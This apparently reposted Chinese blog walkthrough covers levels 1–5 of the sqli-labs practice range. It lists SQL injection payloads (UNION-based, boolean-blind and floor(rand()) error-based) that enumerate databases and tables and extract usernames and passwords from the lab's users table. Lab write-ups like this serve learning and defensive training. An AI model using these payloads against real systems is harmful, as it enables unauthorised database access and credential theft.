sqli-labs-master(Less1--Less5)

Sql-labs-master通关攻略_sqli-labs-master 全部通关-CSDN博客

sqli-labs-master靶场搭建,1-10关详解-CSDN博客

小白勇闯sqli-labs-master1-22关_sqlilabs第22关-CSDN博客

搭建靶场

靶场:

GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

下载压缩包,将压缩包解压到小皮的根目录www下

并用小皮打开网站

Less1

打开环境

判断是否存在注入,注入是字符型还是数字型

?id=1

判断是否由字符注入,输入单引号,双引号进行测试

?id=1' --+

判断存在单引号的注入问题,接下来order by猜解字段

地址栏依次输入

?id=1' order by 1--+

?id=1' order by 2--+

?id=1' order by 3--+

?id=1' order by 4--+

到4的时候才发生报错,说明一共有三个字段

判断显示字段

?id=-1' union select 1,2,3--+

判断版本

?id=-1' union select 1,database(),version()--+

显示表名

?id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()--+

显示user表下的字段名

?id=-1' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users'--+

Less2

显错注入_数字型不闭合

please input the id as parameter with numeric value,请输入ID作为参数和数值.

判断是否存在注入,注入是字符型还是数字型

?id=1

?id=2

可以看到名字与密码的参数都发生了变化,也就是这两个地方的值是要与数据库进行交互的,那么这两个地方也有可能会是我们将来注入时回显内容的地方。

猜解 SQL 查询语句中的字段数 order by N

地址栏依次输入:

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

?id=1 order by 4

判断回显位置

?id=111 union select 1,2,3--+

可以看到Login name与Password这两个地方可以去显示我们要查询的内容,现在开始先查询数据库

获取当前数据库

?id=111 union select 1,2,database()--+

数据库为security,下一步就是要去查找这个数据库下面的所有表。MYSQL数据库的所有表的信息都存储在了information_schema数据库里面的tables这个表里(information_schema.tables中两列table_schema是数据库名,table_name中表名。)

获取数据库中的表

?id=111 union select 1,table_name,database()from information_schema.tables where
table_schema = database() --+

?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

group_concat(table_name)就是把多行的table_name在一行里面显示

from information_schema.tables即table_name的内容在这个数据库里的tables表里查询,并且有个条件是table_name这个表所属的数据库是security

获取表中的字段名

information_schema.columns表中三列table_schema是数据库名,
table_name中表名,column_name是列名。

?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

账号密码存储在sercurity数据库里面的users表里面的username与password字段里面,现在对账号与密码进行查询

?id=-2 union select 1,2,group_concat(username,'-',password) from security.users

SQL注入之Sqli-labs第二关_sqllabs第二关-CSDN博客

 Less3

判断页面是否存在回显

正常的参数显示正常:

?id=1

输入错误的参数

?id=1'

存在回显:''1'') LIMIT 0,1'。去掉外面的单引号得到:'1'') LIMIT 0,1。由此可判断闭合为:')

构造bool语句判断是否存在sql注入

?id=1') and 1=1 --+

正确显示

?id=1') and 1=2 --+

错误显示

判断可知,存在sql注入

开始注入

1.使用order by确定字段数

?id=1') order by 3 --+

?id=1') order by 4 --+

输入3显示正常,输入4报错,则判断数据库中的字段数为3

2.使用union进行注入

判断回显的位置:  (union查询前面的参数必须错误)

?id=-1') union select 1,2,3 --+

通过回显的位置构造语句查询数据库版本与名称:

?id=-1') union select 1,version(),database() --+

构造语句爆出表名:

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

造语句爆出字段名:

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

爆出敏感信息:  (只需要爆出用户名和密码即可)

?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+

SQL注入sqli-labs第三关(less-3)-CSDN博客

Less4

判断注入类型

?id=1") and 1 -- a

页面正常显示

?id=1") and 0 -- a

页面显示为空,异常

由报错信息可知注入类型为双引号字符型。闭合方式是)

判断字段数

地址栏依次输入:

?id=1") order by 1 -- a

?id=1") order by 2 -- a

?id=1") order by 3 -- a

?id=1") order by 4 -- a

第4个字段排序时报错,确定返回结果的字段数为 3

判断显示位

?id=-1") union select 1,2,3 -- a

脱库

?id=-1") union select 1,(
    select group_concat(schema_name)
    from information_schema.schemata
),3 -- a

获取 security 库的所有表

?id=-1") union select 1,(select group_concat(table_name)from information_schema.tableswhere table_schema = 'security'),3 -- a

报错了,目前还不能理解并解决报错信息

SQLi LABS Less-4 联合注入+报错注入_sql-liab less4-CSDN博客

换一种方法进行尝试

爆出所有库

?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

爆出指定数据库(security)中的所有表

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

爆指定表(users)的所有列

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

爆指定列(id)的所有数据

?id=-1") union select 1,(select group_concat(id) from users),3--+

sqli-labs less4_输入单引号网页报错-CSDN博客

Less5

判断注入类型

?id=1

?id=1'

根据返回的语法错误可以判断是字符型

判断数据库长度

依次进行尝试

?id=1' and length(database())= 7 --+

?id=1' and length(database())= 8 --+

?id=1' and length(database())= 9 --+

数据库名称由8位构成

猜测数据库名称

(从第一位开始猜)

?id=1' and left(database(),1)>'a' --+

?id=1' and left(database(),1)>'a' --+

说明第一位在a和z之间

同理,不断缩小范围进行尝试,可以得知,第一位是 s

猜第二位数

?id=1' and left(database(),2)>'sa' --+

?id=1' and left(database(),2)>'sz' --+

以此类推,直到推出第8位:最后数据库为security

具体解法链接如下,但我并没有做出来

sqli-labs-master第五关Less-5 Double Query- Single:方式一-CSDN博客

换一种方法进行尝试

爆库

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+


 

?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by a%23

爆库

 ?id=1'union select null,count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a --+

爆表名

?id=1'union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+

报错:子查询返回多余一行

用 limit函数,改limit值,依次查列名

?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

查字段名

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

sqli-labs(5)_sqli-labs-maste下面有多少个数据库-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/31.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈成为程序员后我明白的道理

当我成为程序员后,我明白了以下几点: 编程是一门持续学习的技能:作为程序员,我意识到编程是一个不断发展和变化的领域。新的编程语言、框架和技术不断出现,需要不断学习和适应。我意识到要持续学习新的知识和技能&…

机器学习—特征预处理和降维(四)

什么是特征预处理? 通过一些转换函数将特征数据转换成更加适合算法模型的特征数据过程 1包含内容 数值型数据的无量纲化: 归一化标准化 2特征预处理API sklearn. preprocessing为什么要进行归一化 or 标准化? 特征的单位或者大小相差较大…

学习了解大模型的四大缺陷

由中国人工智能学会主办的第十三届吴文俊人工智能科学技术奖颁奖典礼暨2023中国人工智能产业年会于2024年4月14日闭幕。 会上,中国工程院院士、同济大学校长郑庆华认为,大模型已经成为当前人工智能的巅峰,大模型之所以强,是依托了…

请警惕,这10本期刊已被SCI剔除,部分涉嫌灌水

科睿唯安于4月15日更新了SCIE、SSCI、AHCI、ESCI四大数据库最新收录期刊目录。 2024年第一版——2024年1月24日更新 2024年第二版——2024年2月19日更新 2024年第三版——2024年3月18日更新 2024年第四版——2024年4月15日更新 本次目录中共收录期刊23368本。 【SCIE数据…

Vue通俗概念理解

一.Vue的概念: 当你需要构建一个网页,让它可以随着用户的操作而改变状态时,Vue就像是一把神奇的魔杖,可以轻松帮你实现这些交互成果,它可以让你你的网页变得更有活力,更加容易理解和管理。 二.Vue 常用指…

EF6(Entity Framework 6)基础知识

一、Entity Framework 6 概述 Entity Framework (EF) 是 Microsoft 提供的一个对象关系映射器 (ORM),它使得 .NET 开发人员能够使用 .NET 对象来处理数据库,从而无需经常编写大部分数据访问代码。EF 提供了许多功能,包括更改跟踪、查询构建、…

基于springboot的房屋租赁系统源码数据库

基于springboot的房屋租赁系统源码数据库 摘 要 社会的发展和科学技术的进步,互联网技术越来越受欢迎。网络计算机的生活方式逐渐受到广大人民群众的喜爱,也逐渐进入了每个用户的使用。互联网具有便利性,速度快,效率高&#xf…

苹果开发初学者指南:Xcode 如何为运行的 App 添加环境变量(Environmental Variable)

概览 Xcode 15 在运行 SwiftUI 代码时突然报告如下警告: Error: this application, or a library it uses, has passed an invalid numeric value (NaN, or not-a-number) to CoreGraphics API and this value is being ignored. Please fix this problem. 不仅如此…

Linux:PCIe的capability扩展空间字段解释

以下为PCIe的截图示例 [rootngnodeb ~]# lspci -vvv -d 8086:0d5c 1b:00.0 Processing accelerators: Intel Corporation Device 0d5c (prog-if 01) Subsystem: Intel Corporation Device 0000 Control: I/O- Mem BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- St…

windows10下Linux子系统(ubuntu22.04) sshd docker kubectl helm

sshd 每次开机之后,启动sshd操作如下 mkdir /run/sshd /usr/sbin/sshd下载安装docker wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.6.tgz tar xf docker-20.10.6.tgz chown -R root.root docker cp docker/* /usr/bin/ groupadd …

react之useState详解

1. 为什么要用useState? 它是React 16.8 的新特性,我们在React里面一般都是用Class去写组件,但是有时候会发现不用它更方便,但是问题来了:不用Class的时候,数据的状态改变如何存储呢?如果你用 …

数据结构-堆详解

堆 图片: 二叉堆的父节点为这个子树的最值。 如何维护它。 我们发现它是一棵二叉树,那就自然满足若父节点为 x x x 则左儿子节点为 x 2 x\times2 x2 右儿子为 x 2 1 x\times 2 1 x21 这是显然的,但如果写成指针或结构体就太麻烦了&…

Redis的特性与安装

回顾 Redis是一个在内存中存储数据的中间件,可以用来当数据库用,也可以作为缓存用(这里的缓存往往是对数据库缓存)。 中间件:和业务无关的服务,功能更加通用,如:数据库,缓存,消息队…

【笔试强训】Day1 --- 数字统计 + 两个数组的交集 + 点击消除

文章目录 1. 数字统计2. 两个数组的交集3. 点击消除 1. 数字统计 【链接】:数字统计 解题思路:模拟,利用数学知识,计算每个数字中2出现的个数。(这里也可以将数字转换成字符串来统计字符’2’出现的个数&#xff09…

C# 语言类型(五)—其他

总目录 C# 语法总目录 参考链接: C#语法系列:C# 语言类型(一)—预定义类型值之数值类型 C#语法系列:C# 语言类型(二)—预定义类型之字符串及字符类型简述 C#语法系列:C# 语言类型(三)—数组/枚举类型/结构体 C#语法系列:C# 语言类型(四)—传递参数及其修饰符 C#语法…

如何使用Flask搭建web程序框架并实现无公网IP远程访问本地程序

文章目录 前言1. 安装部署Flask并制作SayHello问答界面2. 安装Cpolar内网穿透3. 配置Flask的问答界面公网访问地址4. 公网远程访问Flask的问答界面 前言 Flask是一个Python编写的Web微框架,让我们可以使用Python语言快速实现一个网站或Web服务,本期教程…

模拟器无法ADB链接的所有情况及解决方案

前言: adb(Android Debug Bridge)安卓调试桥,简单可以理解为外部连接安卓内部的一个接口,走的是tcp协议。 但是在模拟器上面经常会遇到连不上adb,在此收集一下各种情况,想起来或者遇到了就更新…

bonding原理分析和问题排查

bonding原理 发送端: 使用网卡bond3模式(广播模式BOND_MODE_BROADCAST)将报文从两个网卡同时发出,无需修改报文。 接收端: 根据发送节点时间的链路通断状态,接收端设置一条线路为活动线,另一条…

免费泛域名SSL如何申请,和通配符有什么区别

-----让我们明确什么是泛域名。所谓泛域名,是指使用星号(*)作为子域名的占位符,它可以匹配任意子域名。-----而通配符在域名中,它可以出现在主域名的任何位置,它可以用于主域名和子域名的保护。 主要应用场…

XZ-Utils后门事件过程及启示

Part.01 背景 XZ-Utils(曾经叫做LZMA Utils)是一款开源的无损压缩命令行工具,是用C语言编写的跨平台工具,可以用于类Unix系统和Windows系统。在多数情况下,xz的压缩率要好过gzip和bzip2,解压速度也快过bz…